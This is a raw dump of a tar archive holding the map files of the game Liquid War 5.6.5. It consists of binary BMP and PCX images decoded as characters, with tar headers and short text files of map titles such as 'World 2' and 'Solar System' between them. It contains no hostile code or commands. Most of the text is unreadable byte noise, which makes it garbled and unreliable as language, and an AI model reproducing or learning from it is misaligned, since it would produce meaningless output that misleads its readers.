Q.eN:!!!!!!!!! !!"!1!C!Y!q!!!;!]!!!@!m!!5!i!!;!w!!U!!!!!!!f!!d!!h!!s!#!!7!!R!!u!-!!Y!!!K! J!!J! T!!W!q!4!s!<!a!,!j !8!m!9!y!L! !f!fy!9S!-!!!d!?@! %!!!!!!p!V!A!/!"!!!!!!!!!!!!!!!!!! !!! ! 1R8!!!!8!!%!@(!T!!!-!S !y(!e!! !L !y.!!!8!j%!^!!<!s!!!!W!l! !J!! !K!N!!!c!!6!!!!7!!#!s!!h!!d!!!f!!!!p!!!!@!! !!Y!!!!!!8!!!!c!!+!! !!_!!/!!!!s!!B!?!!!!!9!a! I!o^!^P!-&" D#KVdyrliquidwar-5.6.5/data/map/world4.bmp0000664000372000037200000001153613407756104016550 0ustar travistravisBM^>(  ="n/=?-oa |eG~= H?@S??=?? doB?s%f p?2??p"%  ?N?x?ǀu?s??s??/?0?`a`asc? ~?be?%l ??d??>???/?????'??"??/???3??e?au? ?A"? ?N?O??f  Apl8?d0ipa?`d?`m?n??>"?%?ni?t?"exnX o="???z???d}n1c/xe0m=e?}? 0?n?8?w"??`|?|?l<?8ß?~????liquidwar-5.6.5/data/map/world2.txt0000664000372000037200000000001013407756104016570 0ustar travistravisWorld 2 liquidwar-5.6.5/data/map/chenille.pcx0000664000372000037200000001565513407756104017142 0ustar travistravis +,, liquidwar-5.6.5/data/map/card.txt0000664000372000037200000000001613407756104016276 0ustar travistravisKasper - card liquidwar-5.6.5/data/map/h.txt0000664000372000037200000000002213407756104015611 0ustar travistravisJan - The great H liquidwar-5.6.5/data/map/carreaux.pcx0000664000372000037200000001420113407756104017153 0ustar travistravis @ liquidwar-5.6.5/data/map/rolz.txt0000664000372000037200000000001713407756104016354 0ustar travistravisJan - Railroad liquidwar-5.6.5/data/map/papercut.txt0000664000372000037200000000002213407756104017205 0ustar travistravisKasper - Papercut liquidwar-5.6.5/data/map/rough.bmp0000664000372000037200000045417013407756104016466 0ustar travistravisBMxX6(h  !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~nwr~~ynTqEmawT^{~~rYLt~x~_L\gYZdXNtnjftrļC8C94b .$*(+$ N#=Y}y{OGXygYhs(*52'(F4299J"."+%liquidwar-5.6.5/data/map/coccinel.pcx0000664000372000037200000000575713407756104017140 0ustar travistravis @ liquidwar-5.6.5/data/map/donuts.txt0000664000372000037200000000001413407756104016677 0ustar travistravisFive donuts liquidwar-5.6.5/data/map/fils.pcx0000664000372000037200000000601313407756104016300 0ustar travistravis c@d liquidwar-5.6.5/data/map/boa.pcx0000664000372000037200000000352113407756104016105 0ustar travistravis T@U liquidwar-5.6.5/data/map/lwtabses.txt0000664000372000037200000000002313407756104017207 0ustar travistravisLW3 - S like snake liquidwar-5.6.5/data/map/lwtab008.pcx0000664000372000037200000000363113407756104016707 0ustar travistravis O1@PP2 liquidwar-5.6.5/data/map/ordino.pcx0000664000372000037200000000777013407756104016650 0ustar travistravis @ liquidwar-5.6.5/data/map/garcon.txt0000664000372000037200000000000413407756104016633 0ustar travistravisBoy liquidwar-5.6.5/data/map/lwtabto4.pcx0000664000372000037200000000370613407756104017111 0ustar travistravis cc@ddd liquidwar-5.6.5/data/map/net2.pcx0000664000372000037200000004432313407756104016221 0ustar travistravis v,, liquidwar-5.6.5/data/map/tilt.pcx0000664000372000037200000000572613407756104016331 0ustar travistravis q@rr liquidwar-5.6.5/data/map/psyforceultramultiroom.txt0000664000372000037200000000003113407756104022234 0ustar travistravisPsyforce Ultra Multiroom liquidwar-5.6.5/data/map/titanic.txt0000664000372000037200000000001013407756104017012 0ustar travistravisTitanic liquidwar-5.6.5/data/map/clean.txt0000664000372000037200000000001713407756104016450 0ustar travistravisKasper - Green liquidwar-5.6.5/data/map/tipi.pcx0000664000372000037200000001145213407756104016313 0ustar travistravis @  liquidwar-5.6.5/data/map/rene03.bmp0000664000372000037200000001613613407756104016432 0ustar travistravisBM^>(  o" editc/tor-e e="%o""epmanaxBAFEilelegmodq --dNte it'xcom?"%i?="g??siz??pos??? se?u;/?ega?"Tr???dBA???OPA??dTeaBile=egaTruBATPAUTexBit?e=%?gatx -?%i"o' omm%o"?"ht -U de?/il?leg?r/b"' Aecopeg?"%u mpe`and` f Apldiadmn?"?%nit"e?n o?"zdnc/eme nw"????????????????@liquidwar-5.6.5/data/map/pigface.pcx0000664000372000037200000000634513407756104016751 0ustar travistravis ,, liquidwar-5.6.5/data/map/derivsol.pcx0000664000372000037200000000772213407756104017202 0ustar travistravis @ liquidwar-5.6.5/data/map/garden.bmp0000664000372000037200000020717013407756104016576 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/musique.pcx0000664000372000037200000000742713407756104017045 0ustar travistravis @ liquidwar-5.6.5/data/map/rect.txt0000664000372000037200000000002513407756104016322 0ustar travistravisKasper - Rectangle 1 liquidwar-5.6.5/data/map/marionet.txt0000664000372000037200000000001213407756104017177 0ustar travistravisRun, run! liquidwar-5.6.5/data/map/sonnesystem.txt0000664000372000037200000000001513407756104017753 0ustar travistravisSolar System liquidwar-5.6.5/data/map/lwtab006.pcx0000664000372000037200000000266313407756104016711 0ustar travistravis O1@PP2 liquidwar-5.6.5/data/map/lwtab005.txt0000664000372000037200000000001513407756104016722 0ustar travistravisLW3 - Puzzle liquidwar-5.6.5/data/map/smile.txt0000664000372000037200000000001713407756104016477 0ustar travistravisKasper - Smile liquidwar-5.6.5/data/map/strike.pcx0000664000372000037200000000741113407756104016647 0ustar travistravis ?@@@ liquidwar-5.6.5/data/map/circle.bmp0000664000372000037200000020717013407756104016577 0ustar travistravisBMx6(  !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~q_N @<* ~'@6+D6SBbJNxfUC1 &yaI 1}ZS)7"[ .> /zX, }-;i~[ѮM{_c3[CvN!v[9L+6liquidwar-5.6.5/data/map/penta.txt0000664000372000037200000000001313407756104016471 0ustar travistravisPentaminos liquidwar-5.6.5/data/map/lwtabrec.pcx0000664000372000037200000000337513407756104017156 0ustar travistravis wJ@xxK liquidwar-5.6.5/data/map/velo.txt0000664000372000037200000000000513407756104016330 0ustar travistravisBike liquidwar-5.6.5/data/map/lwtabmic.txt0000664000372000037200000000002413407756104017166 0ustar travistravisLW3 - Foo Bar Mouse liquidwar-5.6.5/data/map/haricot.txt0000664000372000037200000000000513407756104017014 0ustar travistravisBean liquidwar-5.6.5/data/map/darkone4.bmp0000664000372000037200000004370613407756104017050 0ustar travistravisBMG>(GGahma/IloShl???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????liquidwar-5.6.5/data/map/psyforcegeometry.bmp0000664000372000037200000234375613407756104020761 0ustar travistravisBM (       !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHJJJKKKLLLNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXZZZ[[[]]]^^^___```aaabbbcccdddeeefffgggiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~5RkǸkR5DmݸmD )GayyaG) 2h̞h27SlǹlS75`Ϯ`5&fݤf&Hq߻qH#YY#=ă=9nТn9WΖW:Ј:/nn/-uu-uuG΍G,zz,JJGܔGgghh.҃.@@{{ZZ__{{ tt ~~ ++||mm// yy RR''jj((PPuumm))::HHwwyy>>++ZZ__33PPhh&& JJ%%44hhOOWWttxx ''77''BB..GG00II,,EE##<<..hhJJ&&llJJ^^""__77++ TTyydd::--ccuutt((00UURRccmm'' 55~~??JJIITT{{GGQQhh99CCJJ&&zzuuOOVV::ggnn==%%hhnn&&ffRRUU22!!hh$$YY\\ DD 99mm;;ccee5500RR11MMkkNNgh큗헨Ʒ헀kkggRRhhMM55NN0011mmccDDee99;; hhYY22\\!!$$ffRR&&UUhh==nn%%gg::nnuuOOVVzzJJ&&hh99CC{{GGQQIITT~~?? JJmm''55RRUU((ccuu00cc::ttyy--TT++dd__ ""77JJ&&`^lJJ]7hh]7]7]7].#7]<,7]E07]I.7]G'7]B7]7 7]'7]x7hh]W7JJ]t47]7&&]7OO ]7]7%%hh]7__]733]7++]7PP]7yy]7>>]7::]7ZZww]7uu]7))]7((]7HHPP]7RR]7mmjj]7mm]7 yy ]7 ~~ ]7''||X]7// tt ]7{{]7++__]7hh]7{{@@]7JJ]7ZZgg]7uu]7.҃.,zz,]7:Ј:]7GܔG-uu-]7=ă=]7G΍GWΖW]7&fݤf&]7/nn/#YY#]72h̞h2]79nТn95`Ϯ`5]7DmݸmD]7Hq߻qH )GayaG) X5RkkR5]77SllS7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7X7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7..]7]7]7]7QQ]7]7]7]7vs111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111sv]7]7]7]7$$]7]766]7]7]7]7Y^^Y]7]7  ]7]7;;]7]7 ]7]7]7]7AzzA]7]7 ]7]7cUUc]7]7]7]722]7]7))]7]7]7]7JqqJ]7]7]7]7mLLm]7]7]7]7**]7]722]7]7]7]7TggT]7]7  ]7]7xDDx]7]7]7]7##]7]7;;]7]9 ^7]\\7]7]::7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]77]U7]U 7] z7]z]7]7]7]7<]7]7< ]7]7 ^Y]7]7Y^]7]76]7]76%]7]7%]7]7Fv]7]7vF]7]75RkkR5iQ]7]7Qi5RkkR5DmݸmD]7]7DmݸmD2h̞h2.]7]7.2h̞h2&fݤf&-]7]7-&fݤf&=ă=]7]7=ă=:Ј:Pk]7]7kP:Ј:uu]7]7uuJJtH]7]7HtJJhh]7]7hh{{&]7]7&{{6]7]76 ~~ ]7]7 ~~ mmYa]7]7aYmmRR ]7]7 RR((}?]7]7?}((uu]7]7uu::]7]7::yy?{]7]7{?yy++ ]7]7 ++__bW]7]7Wb__]7]7&&4]7]74&&JJ&]7]7&JJhh]7]7hhHr]7]7rH]7]7lM]7]7Ml]7]7+]7]7+.]7]7.]7]7Qg]7]7gQ ]7]7 vD]7]7Dv]7]7hh#]7]7#hhJJ8]7]78JJ&& ]7]7 &&Z^]7]7^Z ]7]7 __;]7]7;__++"]7]7"++]7]7yyBz]7]7zByy:: ]7]7 ::dU]7]7Uduu]7]7uu((2]7]72((*]7]7*RR]7]7RRKp]7pKmm]7mm oL]7Lo ~~]7~~*]7*2]72]7{{Uf]7fU{{ ]7 hhyC]7Cyhh]7JJ#]7#JJ;]7; ]7 uu^[[^uu  ::99::##==DvvD== gRRg&&&&ff//ff**22LllL22hhhhqHHq&&DD33DDmmmmVbbV  z??z5555RR==RRkk kk탙황Ǹ홃kk kkRR==RR5555z??z  VbbVmmmmDD33DD&&qHHqhhhh22LllL22**ff//ff&&&&gRRg ==DvvD==##::99::  uu^[]7[^uu ]7 ;]7;JJ#]7#JJ]7hhyC]7Cyhh ]7 {{Uf]7fU{{]72]72*]7*~~]7~~ oL]7Lo mm]7mmKp]7pKRR]7]7RR*]7]7*((2]7]72((uu]7]7uudU]7]7Ud:: ]7]7 ::yyBz]7]7zByy]7]7++"]7]7"++__;]7]7;__ ]7]7 Z^]7]7^Z&& ]7]7 &&JJ8]7]78JJhh#]7]7#hh]7]7vD]7]7Dv ]7]7 Qg]7]7gQ]7]7.]7]7.+]7]7+]7]7lM]7]7Ml]7]7Hr]7]7rHhh]7]7hhJJ&]7]7&JJ&&4]7]74&&]7]7__bW]7]7Wb__++ ]7]7 ++yy?{]7]7{?yy::]7]7::uu]7]7uu((}?]7]7?}((RR ]7]7 RRmmYa]7]7aYmm ~~ ]7]7 ~~ 6]7]76{{&]7]7&{{hh]7]7hhJJtH]7]7HtJJuu]7]7uu:Ј:Pk]7]7kP:Ј:=ă=]7]7=ă=&fݤf&-]7]7-&fݤf&2h̞h2.]7]7.2h̞h2DmݸmD]7]7DmݸmD5RkkR5iQ]7]7Qi5RkkR5]7]7Fv]7]7vF]7]7%]7]7%6]7]76]7]7^Y]7]7Y^ ]7]7 <]]7<"]7]77]z7]z 7] W7]U^7]8]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]Ln7]7]::7]7]\\7]7 ]7]7;;]7]7##]7]7]7]7xDDx]7]7  ]7]7TggT]7]7]7]722]7]7**]7]7]7]7mLLm]7]7]7]7JqqJ]7]7]7]7))]7]722]7]7]7]7cUUc]7]7 ]7]7AzzA]7]7]7]7 ]7]7;;]7]7  ]7]7Y^^Y]7]7]7]766]7]7$$]7]7]7]7vs111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111sv]7]7]7]7QQ]7]7]7]7..]7]7]7]7]7]7]7]7]7]7]7]7]7W7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7W7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7]7W7]7]7]7]7]7]7]7]7]7]7]75RkkR5]75RkkR5]75RkkR5DmݸmD]7DmݸmD]7DmݸmD2h̞h2]72h̞h2]72h̞h2&fݤf&]7&fݤf&]7&fݤf&=ă=W=ă=]7=ă=:Ј:]7:Ј:]7:Ј:uu]7uu]7uuJJ]7JJ]7JJhh]7hh]7hh{{]7{{]7{{]7]7 ~~ ]7 ~~ ]7 ~~ mm]7mm]7mmRR]7RR]7RR((W((]7((uu]7uu]7uu::]7::]7::yy]7yy]7yy++]7++]7++__]7__]7__]7]7&)]7&&]7&&J7JJ]Jh7hh]h]7]7]7]7]7]7]7]7]7]7]h7hh]hJnJJJ&&&&&&______++++++yyyyyy::::::uuuuuu((((((RRRRRRmmmmmm ~~~~~~{{{{{{hhhhhhJJJJJJuuuuuu::::::======&&&&&&ffffff222222hhhhhhDDDDDDmmmmmm555555RRRRRRkkkkkk탙황Ǹ홃kkkkkkRRRRRR555555mmmmmmDDDDDDhhhhhh222222ffffff&&&&&&======::::::uuuuuuJJJJJJhhhhhh{{{{{{~~~~~~ mmmmmmRRRRRR((((((uuuuuu::::::yyyyyy++++++______&&&&&&JJJJJJhhhhhhhhhhhhJJJJJJ&&&&&&______++++++yyyyyy::::::uuuuuu((((((RRRRRRmmmmmm ~~ ~~ ~~ {{{{{{hhhhhhJJJJJJuuuuuu:Ј::Ј::Ј:=ă==ă==ă=&fݤf&&fݤf&&fݤf&2h̞h22h̞h22h̞h2DmݸmDDmݸmDDmݸmD5RkǸkR55RkǸkR55RkǸkR5liquidwar-5.6.5/data/map/world1.bmp0000664000372000037200000002551613407756104016550 0ustar travistravisBMN+>(+ ??????????????>??????o?? ??>??9?s????? ???s;?;??00~o?`>`~? 0 ?  ???????<?p?0?0? ??@??g?À? ???@>?1 ` ||>@~?p??`0??O@|??<6> ?[?  <+_liquidwar-5.6.5/data/map/lwtabtom.pcx0000664000372000037200000000606013407756104017176 0ustar travistravis cc@ddd liquidwar-5.6.5/data/map/sonnesystem.bmp0000664000372000037200000133006613407756104017727 0ustar travistravisBM66(*  l慅KKKзzzzlll񾾾۷зOOO///~~~ģeeeɴVVVۿʹоЩž~~~¥澾~~~¾,*$zzzېVVVDDDB@9מ]]]૱OOO[YQDDDVVVooousjhhhݻ999VVV楥eee٘=-0cccellyyyVVVSSS赵K>>氰]]]ؿwwwKKKSSSdcc⬬'''ɻ퐐222oooдKKKOOO׷Ь񩩩Щwww ͚]]]eee111⩩zzz\\\ʴssswwwԩֲsss~~~DDDDDD􁁁Ծ꾭HHH]]]lll ڰzzzɾzzzeeeeeeͬ~~~AAASSSͬ188+++ԓqqqзwww]]]zzzhhhsss±ȷlllKKKoooִF5H @@@999ooo°'''ҕ~C26ZZZoooeeesss¾ps D==KDDohh~wwȏ}_XXSKK+$$922KDDKKKͷܭZSS O=Azhlzzzǐ^_^121 111^^^Կƴwzsaeweh'װޏGGG HGGɵwz/ aOS荎232232wKSV'+9//Deez333UVUUUUWWW+=9Ʒ°]aoaawwwppp۷lll898898ߌ'//ewsehwHH]hh~񻻻887787Ԟ´ХS]lDOalw񴴴UUTTTTƐ鬷Ʃƴ*** ߥiiiSSS߰AA@AA@⩻߬š|~x~}}۷...ہTROTTS~rrr<87<<;8?Czߴ]]]1-,100O]a۩,*)00/gcgԓAAA횚61/887ieitpxדzL=8KLKθ¾ưahl $$'_aPpqpۻԖt{{{bbb޴ؿ  ضppp666SSȘ/010๹wwwaaa۾t9)|}|DDDeeeKHOݱӞhlllzzzԄ<<;<Seaols뤝A$Ͱizv...滻Ɨ¾y 𠨦2?;'$~~~֗C uyq¾黻 󴸸(.. !!!㟟r[ۥJQQttt)656͸黣===ooohhhVIImmlrrrջlll果ܸ ]\\opo曢ɵӐxxxppp444OOO (('𫮲[[[ZamƽrvHHH]]]HHLبMHH,,,SSSۻ픔`krͷ||| RRR混```srsppp555CBClll@@@sssZZZ߻¿Ōwpp=,0סňvz III]]]lll枞櫫ﭨ_^]ɦ鐎׭ȹµ抉;;;;;;о{vv~~~Ʒ""" ]\\\\\hbbooouml ***|{{{{{[SSNNN fff322222VJJ᮴\\\))) MML@@@YJHqqq___SX[KKK))) <<<_LLppp^^^JJJVVV::: A3/___ 222eeeVVV]]]hUQooo\mmwAOM___oie?1.???ONNNMM]]]r`^mz|N\Zsoñ]]]eeemk^jmGUQiiitmiʸUTT<<<uuu {x111"""vsत۲anq///!!!vsÿ,,,433333wwwhhhoooYfi,,,rca??@{)))PHFѿsssaaaeeeVVVɰpop޼ԺϞ|eeephevvvZYYYYYԷ ʟ0/////2麺XXXKKKsssweA$$#[[[999######999[[[իjkj~~~111111~~~⥥>>>aaahhh6222222칷ߦӊvvvܟsli)))------ʇRRR--- >>>kkk∈sssfff#"""""rrr엞$$$ vrWVVVVVLLL{]VVVVVVǀ鮸qkg{{{ 666./.ӫѺLRRssseee~ww"""oooͅwhc߭ȡ***ZSS»------777񷰬 窹xbii HAAƾ$$$߾sss]]]zxl}}}}}}߻y6== QJJ***lllooo ࢸιͫJQQ tmm}{{KKKsssooozuf¿ƕZbb666999 EDDDCC!!!lllwww 333 Ο⌑%%5<>>EDEҭ˺д¾¾,,,%%%ƻ~~~KKK;(((+*+ߺ÷Ǿʸ+++wes((()))ܾƻ·;;;222]]]ooo⾾EEEFEEj`RfVSehƴƴaaa vvv]]]sssz}}}"""""#}}~ȸnrW"""9ynͻ·,,,]]]www]]]777778Ӿɼ---!!!OA0hYH[M;zh´ɷ~~]]]~~~KKK¾񷷷ONN"!!!""NOOϹ^Z= 4&) H9's~Ʒ!!!~}}tttٽѸQ>(143( SH+wZo??? ̼þǷscGbD7xOI( laDsƻ 888^^^FFFGFFĵvl~{n9. oZHzddd)))///HHHĦš|}m~pPF55*2$oZHo]~錌:::baa===eeeddd$$$ BBBѢrvf}oI>,n_MK=+l]KzeS~hVz¢]]]KKKeeeaaauuu???ΦmwoaP`SA{ioaOzeSsa~oƥKKKhhhwwwwwwqqq/..ŧëzdZM<Ƚ|n]wošwssssss[ZZĵkqqdTn\t~w~sAAA⢢lllɻIIIJJImmmʿj|aFeNq]KbPGtbzh~zͥz~͢@@@"""rrryyyDDDռ˾rt[A%0^NCm[aSszͥsel]w(((BBBƞGGGGHG999u222>mLBsSHaVsl~~znnn!!!~~~CCCñcY666!!! fE:hH=wVKslɚ~wuuuvvukkkȣ}`T;;;"""O%%fWeVl]zͥ۰Х $$$⌌)))*))433ܾtaL?&&<d::^QeVoaszs666CCC۾з 翽tr[OU+%M2oS9zawwolo...񰰰lllnnn m{nK>! ' ^B(oЬЬƚƚ͢,,,mmm~~hhgźʴ¢ҳdMD =%iP0hɩɩƞƞͥ)))񞞞onnnnmpppdzϳ޿ol^zZmͬɩͥЩ۴hhh!!!tssttrھ߿äζ©~~ɩ߷ƩͰRRRsss]]]~~~~wƾ.--ǽͱǩDzµ˲ɰɰ׷¢¥¥澢唔TTT&&&:::rqq___ȽʮxeŰϷʹз߾ƥ¥⻞߷wwwZZZzw~HFEDHEؼsa~ŧԼɰͬа۴߷߷ihhɿůֺϹ˾Ҵäʹͬͬװ߷߷ߴ}|~|?>>ԷDzɰճָέ£߾߾⻞⻞߷饥퉍$$"$$# ˹DzʰүӴήƦƥƥ澢⻞۴~~~hjh!! !ikh нDzӹصӵǧԼ׷׷۴۴۴أtrtKIL*(*#))>KLirpͻҽҵʫ͵ɩƥɩԬ۴̻˶ηеũʫĥиаɩͥͥЩܷϻɱǬȬŨĥۼ׷Ԭͥƞ͞,++閖KKK***oooĶ˹ѼƭȬܽ׸װЩɢ͞ɚ~鈈]]]POOUUU!!!ôįнȴϸֹҳѫͦɢ͞ɚ~ɚ~~~~OOOϼ˶̵ʫ˦Ǡ›ɚ~ƗzɐwɐwZZZ888 :::ŷĸɺϽ̸ȳθžĞÜɛƗzˆoh~esssVVV~~ OOOͿij̼|ʜɛƗzlw]lSTTS111ɺIJϻ{V^ΨeZOQˆZVsD]/444+++ʼ¯и]YlS|KvEp>e6]/S$KƷ&%%;;;˼ͻ̳cxRuNqBm=h6T%w=a'ZV~~~ԗ+26$$$jjjƷζȯábpJg@Y*~Q!|Di0S9$ɻOKK100888ƶҸͮ|~ZlEf?i2P5% ⾻MLLŴնĥljDW0O'< ~~ȻչjaFtB Y$F $9=HHGȺôƫscJnA)P* !+99DHА121Ѻ˱sdFf97M&&2 .bs+s eal''' 211;;;ʿ˲}dUXBB;113$$:61 0Maaelwsד GGFiii¶æoiaRR???///"""2Oc HMSHSaow鷷*))|||$$$ƻĩzwccONN===...& 0Q p _[e llh w/yxw/..lllиuuf__YJJQ99N++D7M h [Sl+wSV\[["!!A@@ަpppdZZgEEy66r*'aQZ dLD]l9/S}}}"""ONN! οưjjjvUUCC>3z+%fff^aZe~wVOVԔ^^^444 $$$HHHxww ̹zzeeRRK>=.k!!apr ^ZVS]hwlZ׻Ǹvv``RM=;++((} gZKKO]hoh]222222橩̾oo}[[\HHR66U((^oq qha]]ehhaZ999]]]~~iiiVVCCCA33F%%SUU^alhhehaZ]񢢢OOO.--³wwcczPPi>>e..i""[Q EFOllllhhaZlll]]]SRRϽqqj]^JB93*~"fS HU]sszwwh]]ZZZ·~~kkfVbE33{&&ve] ht~  oeZSBAAuuccQQA>x..j##d`m zzwohSOHH큁útob[II88{++p edt | w]ZVD=6=KcccĿ{{uhVTBB33g((ljp~  ZSSOKA=DIII˿ss``LL|<>>ɺmjWWxGGy77f++c""gps weVVH96=9$CCCòvvhbOOq>>w33p((h orr }lOSSA 2' מhhhZYYýnnZZcII`::l//c&&wxwx yx]HDD+ '+999ZZZԁ{{tgySSOBBf66,,g##~}tm jiV9''+2'ZZZHHHVVVoooBBB]\\]\\}tv_MMZ==t11-(z r aUSD/$+62¾]]]'''ϼll_XGGp88w..(%{k WMO9' '/2'++""" žyyddQQ@@33**""si TC3''$+/+6/$滻000$$$$$$Ϳrr}^^rJJ};;..)&$ja L8+$$ $22++\\\¸kkkVV^DDn66))."#eU D3' 2==2'WVUIHHHHH»yww|ccgNNZ<>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}}iR9$0ƺt`J/mX@'5557RRRUllllsɼydO5  '555FRRR^llluŸs]E.&&5559RRRRilll{քlU<%*555@RRRUllllɻxdM4.5555;RRRR]llluՃ ķr[C,~5̿}jS;$&~7ȻvaK2RöpZA*RRƹt`H/ʽlfH5' i´mW>(&>Wm»~llZRK5/llɼ{gO5 '@Xoǻr[RE5.Ÿt`F.*C[rûvl^RRC5'l䤒mW>',E]slUR>5'/H`tûvl^RC55'u4Mdy0JavʽllSRJ55$5Of{Żxl^RC5( 7Pg|»liRR75 u9 "9Ri}llm $;Sj~l&>W󀔥l'@Xo]C[rR,E]s*@CR/H`uRR$CRimC;SS5HErФ54Թl9 5%(57"m. HWU㼌[//[>cy y'y {f,(W55;5AMC(tti/^EEHl ''`x u,,gKKS yyS '<v/5 m9(($5tHAH`@RKF,dFFo.v y ,44 Ey]rtt%sH x25y9*[[uH%Zj 0Uv/}}E{C/g$F/O5R55g JfjEE RJ S9.l(@*lHCu[[||vr[[>> &&yl{gX'` lE2Pml94A Wl"@4,>l^&&$K(U f>>aRv[[iR||}R '@@5{X5Wo5K *5EE  2' 95vU5'}}pitCA4``RCH^xC[[C/l[R5vHp07xtt&(}&"44>W (mEJyfd FFyH5,((%x5uCyyf RKKUa,,O"c @5 ''2H$iEE'd;WttxSCj,55~     y y ' 㼌[//[5">%.pRZv(OZUA4XAlHPl*l5`u"fd jU"xE9 >R0i}{lx(ld 9lH Ji7 ɹtcPA2&  &2APctfR(ӻyS((SyyR ɥyC CyvR&ǛaaaR0ể<<K9>ɑEE25Ex5J1u 5yc:'a &fs[N[a(7Jߞ4<4R7P9ܒ2CHg(ޔG5d|'( /x5K%Cy uR(36(Rx?x ^ >N> l J }vlc"j%gegSOX/RR5;.5EEH$"CAAZ RHeHv aW*GW5amO$msOzcfJ{ ExZZ> dw0H& 5a !4I]pźp]I4! a,"8YxͲxY8C > -V}ɣ}V- > W EtϡtE ir4 "y4yEgcQ gfU a 4JdPdM(EuS ZZ SxdDDjf,y$||$5.lPl`H5(y(PdE7AyRQ4[{d{(li M qq M%rU ww x9 vv d2qq M'cc"42PP( @557uOooH0lU^oo^[JlfPCCPxal}uEEv^ix>aa>Ra;&&;RK<nn"'iW(ɤ~X5  5X~tt m՘FF]]iiEE ~~ FFll55hhPP(( {{ ӭX00X}XX00̂$${i^^ppyR cɄ&9++UɄ&$uuHɄ0KKUU7]]ooXX**[[55uuPP9::9 uuFF55FF''K[[Ktt~~**ii((UUUU FF99((LLoo~~uuXXKK55"" yy&&''== TTii55||XX~~]]vv;;dd""RR@@FF00%%""ii ;;]]~~FF 55''yyPP%%00@@RRddv||vXXiiTT==99&& XX**"oo"KLLKttu((uPP55FFFF~~ iiUU՘FF((7ɤ~X5  5X~UU0H$&U9&c[[**Ry''ooi{}KKUUuu:: pp9uu9̂$$ 55ӭX00X ]]m [[(Wi'">S/uuE&H9++/4AKKJ%Rm󳳳`d00t v$^{{^((@ hh fgWEE]C5AllS5( ttS5o<7X]]5R@%99$RR'0>R'/^VV JU@C1ilXFll ,y ClmRӊZ&0zlvgy, zz6Clmj|6 =WSsH껆5קr@~H ,Ȧ?lZ xf خg( zyRǚv0 uHŷoZ5rڥj' RU'[ƦJ E,C ïbB /; *yG޵|O2/M r!VͰwO*i5H' Q. O52>ld*4tFyt y@ 'j< ^a$Geaf0r  vW1oQW 3 U (gU5 lSyH[[lKf gosJlCCl`y]9}}PE(A, ##4 TT$ .E%]'FF2s4AA 9~AhhHlCjl{RvZXpFFREx))K9}CC5""[[" /ppvt p.``HC@/CH""5[ % 0v<{&UWFFlK'5%5 5 5C225 R Faqq,Rc\\KROEEOaR ,, i^vx}laxulJ[mmfl0HfGGfUu75""5O ( @4"^^2M ,,'2d 9xSSUr%il(viiv [4f''fRyAWnnWEdPJ&&J5H`AaA.5f<<y,j;C;dx>o>(MEEuE4P5PdJ^P^UfoccoEy,qq>C vv 0[ ww ri r" qq W 0Rdd CQQ ,M7KM" &{[y3{50PH > $|dE(DB(x{Jl Z lfcddOsaai5S QQ 1Sav4yy4a Z =MʋM R$HgWOÉOgC";5 $> R Ray3aC%,?5x/ \'|d5ZnZgHC (P7R97(a[J& am6msf5 kWcy58HJ52AE9KE>Ra2R0RvSg&Ry Rf (iJ>> 7l9 xx Hl(((dlyyx{}KKi0((R>ޔ9Eܒ "Uߞ4x d[juЌ''f"l*luu`5lAXxxPHUZOɑEE4AZRp.ể<<(v>"Ǜaa%5ɥyC Cy' ӻyS((Sy ɹtcPA2&  &2APct   ~ j,Sx'C;d2W$H@i 5O "Uc"fa9 uRRxCj5|ݻi@"  "@i%ؘ>>,ۆ 5y99Hf dJ&&yEffm(W|| >;;&& "0}(5x7vCpHl/CR[^H`//CxR`ipooACtUv459'52HH'   *55oK5XW5@ {@'}''RiRaRK$vU(,4f l> A^lWP[[@"lm `49lg2El'Xy{[[ v77r[[H uC@l*.l (S9R 77JJ [[jf55/g5O/R$gEF{vUCjZ/Hu[[0 9y%2x*%5s H] 